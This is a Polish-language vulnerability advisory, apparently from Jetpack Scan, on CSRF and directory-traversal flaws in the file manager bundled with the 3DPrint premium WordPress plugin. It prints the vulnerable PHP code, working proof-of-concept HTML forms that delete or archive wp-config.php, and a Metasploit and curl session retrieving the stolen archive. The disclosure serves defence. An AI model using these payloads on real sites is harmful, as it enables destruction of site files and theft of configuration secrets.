Luki znalezione we wtyczce 3DPrint Premium

Opublikowany: 2022-12-13

Wersja premium wtyczki WordPress 3DPrint jest podatna na ataki Cross Site Request Forgery (CSRF) i przechodzenie przez katalogi, gdy funkcja menedżera plików jest włączona. Luki te umożliwiają atakującemu usunięcie lub uzyskanie dostępu do dowolnych plików i katalogów w zaatakowanych witrynach, w tym poufnych plików, takich jak pliki konfiguracyjne witryny, co ponownie może doprowadzić do pełnego przejęcia witryny.

Ostatnio, przeglądając niektóre potencjalne fałszywe alarmy oznaczone przez nasze eksperymentalne sygnatury, odkryliśmy kod, który nas zaskoczył we wtyczce premium 3DPrint.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Ten fragment został znaleziony w module PHP Tiny File Manager znajdującym się w katalogu dołączania wtyczki, ale nie został znaleziony w oryginalnym projekcie Tiny File Manager. Wydaje się, że został wstrzyknięty z zamiarem zintegrowania go z kontrolą dostępu opartą na rolach WordPress.

Ładowanie takich plików kodu WordPress w niepowiązanym module jest zwykle oznaką, że coś jest trochę nie tak, więc postanowiliśmy zbadać sprawę dokładniej.

Uważny czytelnik zauważy, że dostęp do modułu jest ograniczony do użytkowników z rolą Administratora, ale nie ma kontroli jednorazowych. Byłoby dobrze, gdyby Tiny File Manager miał własną ochronę CSRF, ale ponieważ tak nie było, wygląda na to, że ten kod może być podatny na atak CSRF. (Tiny File Manager dodał ochronę CSRF po tym, jak powiadomiliśmy ich o problemie. Wersja 2.5.0 i nowsze powinny być o wiele bezpieczniejsze w użyciu!)

Czynnikiem komplikującym jest to, że Tiny File Manager nie jest zawarty w pakiecie podczas instalacji 3DPrint premium, ale jest pobierany na żądanie po aktywacji. Wersja pobrana w momencie pisania to wersja 2.4.4, ale została mocno zmodyfikowana przez programistów 3DPrint i jest pobierana z ich domeny, a nie bezpośrednio z repozytoriów Tiny File Manager.

Większość wprowadzonych zmian usuwa funkcje nieużywane przez wtyczkę, a także kilka innych zmian, takich jak zakodowanie ścieżki, ograniczające dostęp menedżera plików. Ponadto funkcje uwierzytelniania i autoryzacji wbudowane w Tiny File Manager zostały wyłączone i zastąpione powyższą integracją z systemem ról WordPress.

Odkryliśmy kilka luk w zabezpieczeniach, w których połączenie zmodyfikowanych kontroli dostępu i włączenie Tiny File Manager do wtyczki 3DPrint staje się możliwe do wykorzystania przez atakującego z zewnątrz. Obejmuje to usuwanie lub pobieranie poufnych plików, potencjalnie umożliwiając pełne przejęcie witryny. Luki te wykorzystują brak kontroli jednorazowych w zmodyfikowanej kontroli dostępu, a także luki w zabezpieczeniach związane z przeglądaniem katalogów w samym Tiny File Manager.

Próbowaliśmy skontaktować się z dostawcą zarówno wtyczki 3DPrint, jak i projektu Tiny File Manager. Spośród nich tylko twórcy projektu Tiny File Manager odpowiedzieli nam i naprawili problemy, które im zgłosiliśmy.

Sprawdź nasz nowy WAF w ramach Jetpack Scan, który będzie chronił przed tymi atakami od razu po wyjęciu z pudełka. Obecnie jest w wersji beta. Jetpack Scan wykryje również podatny na ataki komponent i pomoże go usunąć.

Ponieważ moduł Tiny File Manager jest pobierany i instalowany na żądanie, niekoniecznie istnieje zgodność między wersją wtyczki a używaną wersją Tiny File Manager. Jednak po zainstalowaniu wydaje się, że nie ma łatwego sposobu na aktualizację modułu Tiny File Manager poza ręcznym usunięciem go i ponowną aktywacją.

Z tego powodu uważamy, że wszystkie wersje 3DPrint są podatne na poniższe luki, jeśli menedżer plików został aktywowany.

Luki w zabezpieczeniach

1. CSRF prowadzący do usunięcia dowolnego pliku/katalogu

  • Dodatek: 3DPrint
  • Ślimak wtyczki: 3dprint
  • URI wtyczki: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Wersje podatne na ataki: wszystkie
  • Wersja poprawiona: brak
  • Wynik CVSS: 8,2 (wysoki, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

Funkcja masowego usuwania w dołączonej wersji Tiny File Manager (wersja 2.4.4) nie jest odpowiednio chroniona przed przeglądaniem katalogów, a także nie ma zabezpieczeń CSRF. Pozwala to atakującemu nakłonić administratora do rekurencyjnego usunięcia wielu plików lub nawet katalogów na serwerze.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Można to wykorzystać, przekazując parametry group i delete POST do dowolnej wartości oraz przekazując tablicę plików/katalogów do usunięcia w parametrze file . Zmienna $new_path jest prostą konkatenacją FM_ROOT_PATH i przekazanej nazwy pliku, przekazanej do rekurencyjnej funkcji usuwania fm_rdelete() . Ponieważ fm_rdelete() nie sprawdza poprawności podanych nazw ścieżek, czyni ten kod podatnym na atak z przechodzeniem katalogu.

Oto przykładowy dowód słuszności koncepcji:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Wszystkie ścieżki są względne w stosunku do katalogu wp-content/uploads/p3d/ na serwerze. Kiedy dowolny zalogowany administrator kliknie przycisk, aby się wzbogacić, jego przesłane treści z 2020 r. zostaną usunięte wraz z plikiem wp-config.php witryny.

2. CSRF prowadzące do arbitralnych pobrań

  • Dodatek: 3DPrint
  • Ślimak wtyczki: 3dprint
  • URI wtyczki: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Wersje podatne na ataki: wszystkie
  • Wersja poprawiona: brak
  • Ocena CVSS: 7,4 (wysoka, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

Funkcjonalność dołączonej wersji Tiny File Manager (wersja 2.4.4) do pobierania archiwum ZIP lub tar wybranych plików nie jest chroniona przed przeglądaniem katalogów i nie ma zabezpieczeń CSRF. Pozwala to atakującemu nakłonić administratora do utworzenia archiwum ZIP lub tar z dowolnymi plikami i katalogami z witryny, w tym plikami konfiguracyjnymi lub inną poufną zawartością.

Archiwum jest umieszczane w normalnym katalogu przesyłania 3DPring, wp-content/uploads/p3d/ . Nazwa pliku jest tylko częściowo kontrolowana przez atakującego, ale jest na tyle przewidywalna, że ​​​​powinna być stosunkowo łatwa do użycia siły. Jeśli wiedzą, o której godzinie wysłano sfałszowane żądanie, zgadywanie powinno być również trywialne.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

Wysyłając żądanie pocztowe z group i zmiennymi zip lub tar ustawionymi na dowolną wartość, utworzy archiwum z plikami określonymi w parametrze file . Bieżąca data i godzina zostaną dodane do nazwy pliku archiwum, który będzie miał taką samą podstawową nazwę jak zarchiwizowany plik lub „archiwum”, jeśli kilka plików zostanie zarchiwizowanych razem. Archiwum zostanie utworzone w katalogu wysyłania 3DPrint, ale nazwy ścieżek plików nie są oczyszczone i mogą zawierać ścieżki spoza tego katalogu, co czyni go podatnym na ataki polegające na przeglądaniu katalogów.

Aby wykorzystać tę lukę, stworzyliśmy prosty moduł ładunku dla Metasploit, który służy jako samoprzesyłający się formularz ze złośliwym ładunkiem do podatnej witryny. Wysłany ładunek sprawdzający koncepcję był następujący:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Moduł Metasploit rejestrował znacznik czasu wysłania formularza, co ułatwiało odgadnięcie prawidłowej nazwy pliku utworzonego archiwum.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Zwróć uwagę, jak możemy wydedukować nazwę pliku wygenerowanego archiwum na podstawie znacznika czasu żądania. W tym przypadku kontener serwera działa o jedną strefę czasową za lokalną strefą czasową.

Zalecenia

Ponieważ wersja zainstalowanego menedżera plików jest niezależna od wersji zainstalowanej wtyczki, nie możemy polecić stałej wersji wtyczki.

Nie znaleźliśmy też łatwego sposobu na aktualizację modułu menedżera plików, jeśli nowa wersja zostanie wydana w późniejszym terminie.

Z tego powodu uważamy, że wszystkie wersje wtyczki premium 3DPrint są podatne na ataki, jeśli komponent menedżera plików jest włączony.

Zalecamy wyłączenie modułu menedżera plików i usunięcie pliku z serwisu.

Najprostszym sposobem jest usunięcie pliku wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php jeśli istnieje.

Wnioski

Wszystkie wersje wtyczki premium 3DPrint są podatne na ataki CSRF i przechodzenie przez katalogi, jeśli moduł menedżera plików jest włączony na stronie. Nie ma to wpływu na bezpłatną wersję wtyczki pobraną z repozytorium wtyczek WordPress.org.

W Jetpack ciężko pracujemy, aby upewnić się, że Twoje strony internetowe są chronione przed tego typu lukami w zabezpieczeniach. Zalecamy posiadanie planu bezpieczeństwa witryny, który obejmuje skanowanie złośliwych plików i tworzenie kopii zapasowych. Pakiet Jetpack Security to jedna świetna opcja bezpieczeństwa WordPress, która zapewnia bezpieczeństwo Twojej witryny i odwiedzających. Ten produkt obejmuje skanowanie złośliwego oprogramowania w czasie rzeczywistym, kopie zapasowe witryn, ochronę przed spamem w komentarzach i formularzach od Akismet, ochronę przed atakami siłowymi i nie tylko.

Kredyty

Badanie przeprowadzone przez Haralda Eilertsena, z opiniami i poprawkami dostarczonymi przez Benedicta Singera, Roba Pugha, Jen Swisher i zespół Jetpack Scan.

Oś czasu

  • 2022-09-08: Zostaliśmy poinformowani o znalezisku i rozpoczęliśmy dochodzenie
  • 2022-10-25: Pierwszy kontakt z dostawcą
  • 2022-11-01: Drugi kontakt z dostawcą za pośrednictwem innego kanału
  • 08.11.2022: Ujawniono lukę umożliwiającą masowe usuwanie (CVE-2022-3899)
  • 2022-11-15: Skontaktowano się z twórcami Tiny File Manager w sprawie braku ochrony CSRF i luk w zabezpieczeniach związanych z przeglądaniem katalogów.
  • 2022-11-19: Wydano Tiny File Manager 2.5.0, naprawiający problemy z CSRF, ale nie problemy z przeglądaniem katalogów.
  • 2022-12-13: Publiczne ujawnienie